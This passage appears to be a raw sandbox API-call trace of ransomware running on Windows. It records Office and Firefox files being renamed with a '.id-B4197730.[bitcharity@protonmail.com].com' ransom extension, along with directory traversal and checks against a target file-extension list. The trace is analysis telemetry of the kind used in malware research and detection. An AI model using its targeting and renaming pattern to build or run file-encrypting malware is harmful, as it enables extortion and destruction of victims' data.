Office\\Office16\\DCF\\SyncFusion.Grid.Windows.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\syncfusion.grid.windows.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SyncFusion.Shared.Base.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\syncfusion.shared.base.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SyncFusion.Shared.Base.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\syncfusion.shared.base.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SyncFusion.Tools.Windows.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\syncfusion.tools.windows.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SyncFusion.Tools.Windows.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\syncfusion.tools.windows.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.394] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SyncFusion.XlsIO.Base.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\syncfusion.xlsio.base.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SyncFusion.XlsIO.Base.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\syncfusion.xlsio.base.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\mfc140u.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\mfc140u.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.426] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\OWSSUPP.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\owssupp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\OWSSUPP.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\owssupp.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\VVIEWDWG.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\vviewdwg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\VVIEWDWG.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\vviewdwg.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\VVIEWER.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\vviewer.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\VVIEWER.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\vviewer.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\FM20.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\fm20.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\FM20.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\fm20.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.701] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.701] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.701] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.701] CloseHandle (hObject=0x11c4) returned 1 [0284.703] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.703] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.704] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\features\\aushelper@mozilla.org.xpi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\features\\aushelper@mozilla.org.xpi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.704] CloseHandle (hObject=0x11c4) returned 1 [0284.705] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.705] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.705] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\features\\clicktoplay-rollout@mozilla.org.xpi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\features\\clicktoplay-rollout@mozilla.org.xpi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.705] CloseHandle (hObject=0x11c4) returned 1 [0284.706] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.706] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.706] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\features\\e10srollout@mozilla.org.xpi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\features\\e10srollout@mozilla.org.xpi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.706] CloseHandle (hObject=0x11c4) returned 1 [0284.706] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.706] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.707] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\features\\firefox@getpocket.com.xpi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\features\\firefox@getpocket.com.xpi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.707] CloseHandle (hObject=0x11c4) returned 1 [0284.707] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.707] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.707] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\features\\followonsearch@mozilla.com.xpi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\features\\followonsearch@mozilla.com.xpi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.707] CloseHandle (hObject=0x11c4) returned 1 [0284.708] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.708] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.708] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\features\\screenshots@mozilla.org.xpi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\features\\screenshots@mozilla.org.xpi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.708] CloseHandle (hObject=0x11c4) returned 1 [0284.709] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.709] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.709] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\features\\shield-recipe-client@mozilla.org.xpi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\features\\shield-recipe-client@mozilla.org.xpi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.709] CloseHandle (hObject=0x11c4) returned 1 [0284.710] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.710] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.710] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\features\\webcompat@mozilla.org.xpi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\features\\webcompat@mozilla.org.xpi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.710] CloseHandle (hObject=0x11c4) returned 1 [0284.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Mozilla Firefox\\browser\\omni.ja" (normalized: "c:\\program files\\mozilla firefox\\browser\\omni.ja"), lpNewFileName="C:\\Program Files\\Mozilla Firefox\\browser\\omni.ja.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\omni.ja.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Mozilla Firefox\\d3dcompiler_47.dll" (normalized: "c:\\program files\\mozilla firefox\\d3dcompiler_47.dll"), lpNewFileName="C:\\Program Files\\Mozilla Firefox\\d3dcompiler_47.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\d3dcompiler_47.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.713] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.713] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.713] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\dependentlibs.list.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\dependentlibs.list.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.713] CloseHandle (hObject=0x11c4) returned 1 [0284.714] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.714] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.714] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\dictionaries\\en-US.aff.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\dictionaries\\en-us.aff.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.714] CloseHandle (hObject=0x11c4) returned 1 [0284.715] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.715] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0284.715] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\fonts\\EmojiOneMozilla.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\fonts\\emojionemozilla.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.715] CloseHandle (hObject=0x11c4) returned 1 [0285.011] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0285.011] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0285.011] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\freebl3.chk.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\freebl3.chk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.011] CloseHandle (hObject=0x11c8) returned 1 [0285.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7068f8 | out: hHeap=0x630000) returned 1 [0285.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cddf0 | out: hHeap=0x630000) returned 1 [0285.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ea0050 | out: hHeap=0x630000) returned 1 [0285.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3eb0058 | out: hHeap=0x630000) returned 1 [0285.917] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x41ac020 | out: hHeap=0x630000) returned 1 [0285.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7068e0 | out: hHeap=0x630000) returned 1 [0285.919] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9e68 [0285.919] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9e68, Size=0x20) returned 0x3f647f8 [0285.919] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9d60 [0285.919] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9d60, Size=0x20) returned 0x3f64848 [0285.919] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.920] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.920] Wow64DisableWow64FsRedirection (in: OldValue=0x39eff50 | out: OldValue=0x39eff50*=0x1) returned 1 [0285.920] lstrlenW (lpString="kernel32.dll") returned 12 [0285.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64848 | out: hHeap=0x630000) returned 1 [0285.920] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f647f8 | out: hHeap=0x630000) returned 1 Thread: id = 2575 os_tid = 0x26e8 [0241.666] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x3ec0060 [0241.666] lstrlenW (lpString="C:") returned 2 [0241.666] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x64a258 [0241.667] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0241.667] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0241.667] lstrlenW (lpString="$GetCurrent") returned 11 [0241.667] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0241.667] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x3ed0068 [0241.667] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0241.667] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x64a398 [0241.667] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0241.668] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0241.668] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0241.668] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0241.668] lstrlenW (lpString="Logs") returned 4 [0241.668] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0241.668] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x3ee0070 [0241.668] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0241.668] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x64a3d8 [0241.668] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.669] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30340f2e, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x30340f2e, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3038d36e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DOWNLE~1.COM")) returned 1 [0241.669] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[bitcharity@protonmail.com].com") returned 81 [0241.669] lstrlenW (lpString=".1cd") returned 4 [0241.669] lstrcmpiW (lpString1=".1cd", lpString2=".com") returned -1 [0241.669] lstrlenW (lpString=".3ds") returned 4 [0241.669] lstrcmpiW (lpString1=".3ds", lpString2=".com") returned -1 [0241.669] lstrlenW (lpString=".3fr") returned 4 [0241.669] lstrcmpiW (lpString1=".3fr", lpString2=".com") returned -1 [0241.669] lstrlenW (lpString=".3g2") returned 4 [0241.669] lstrcmpiW (lpString1=".3g2", lpString2=".com") returned -1 [0241.669] lstrlenW (lpString=".3gp") returned 4 [0241.669] lstrcmpiW (lpString1=".3gp", lpString2=".com") returned -1 [0241.669] lstrlenW (lpString=".7z") returned 3 [0241.669] lstrcmpiW (lpString1=".7z", lpString2="com") returned -1 [0241.669] lstrlenW (lpString=".accda") returned 6 [0241.669] lstrcmpiW (lpString1=".accda", lpString2="m].com") returned -1 [0241.669] lstrlenW (lpString=".accdb") returned 6 [0241.669] lstrcmpiW (lpString1=".accdb", lpString2="m].com") returned -1 [0241.669] lstrlenW (lpString=".accdc") returned 6 [0241.669] lstrcmpiW (lpString1=".accdc", lpString2="m].com") returned -1 [0241.669] lstrlenW (lpString=".accde") returned 6 [0241.669] lstrcmpiW (lpString1=".accde", lpString2="m].com") returned -1 [0241.669] lstrlenW (lpString=".accdt") returned 6 [0241.669] lstrcmpiW (lpString1=".accdt", lpString2="m].com") returned -1 [0241.669] lstrlenW (lpString=".accdw") returned 6 [0241.669] lstrcmpiW (lpString1=".accdw", lpString2="m].com") returned -1 [0241.669] lstrlenW (lpString=".adb") returned 4 [0241.670] lstrcmpiW (lpString1=".adb", lpString2=".com") returned -1 [0241.670] lstrlenW (lpString=".adp") returned 4 [0241.670] lstrcmpiW (lpString1=".adp", lpString2=".com") returned -1 [0241.670] lstrlenW (lpString=".ai") returned 3 [0241.670] lstrcmpiW (lpString1=".ai", lpString2="com") returned -1 [0241.670] lstrlenW (lpString=".ai3") returned 4 [0241.670] lstrcmpiW (lpString1=".ai3", lpString2=".com") returned -1 [0241.670] lstrlenW (lpString=".ai4") returned 4 [0241.670] lstrcmpiW (lpString1=".ai4", lpString2=".com") returned -1 [0241.670] lstrlenW (lpString=".ai5") returned 4 [0241.670] lstrcmpiW (lpString1=".ai5", lpString2=".com") returned -1 [0241.670] lstrlenW (lpString=".ai6") returned 4 [0241.670] lstrcmpiW (lpString1=".ai6", lpString2=".com") returned -1 [0241.670] lstrlenW (lpString=".ai7") returned 4 [0241.670] lstrcmpiW (lpString1=".ai7", lpString2=".com") returned -1 [0241.670] lstrlenW (lpString=".ai8") returned 4 [0241.670] lstrcmpiW (lpString1=".ai8", lpString2=".com") returned -1 [0241.670] lstrlenW (lpString=".anim") returned 5 [0241.670] lstrcmpiW (lpString1=".anim", lpString2="].com") returned -1 [0241.670] lstrlenW (lpString=".arw") returned 4 [0241.670] lstrcmpiW (lpString1=".arw", lpString2=".com") returned -1 [0241.670] lstrlenW (lpString=".as") returned 3 [0241.670] lstrcmpiW (lpString1=".as", lpString2="com") returned -1 [0241.670] lstrlenW (lpString=".asa") returned 4 [0241.670] lstrcmpiW (lpString1=".asa", lpString2=".com") returned -1 [0241.670] lstrlenW (lpString=".asc") returned 4 [0241.670] lstrcmpiW (lpString1=".asc", lpString2=".com") returned -1 [0241.670] lstrlenW (lpString=".ascx") returned 5 [0241.671] lstrcmpiW (lpString1=".ascx", lpString2="].com") returned -1 [0241.671] lstrlenW (lpString=".asm") returned 4 [0241.671] lstrcmpiW (lpString1=".asm", lpString2=".com") returned -1 [0241.671] 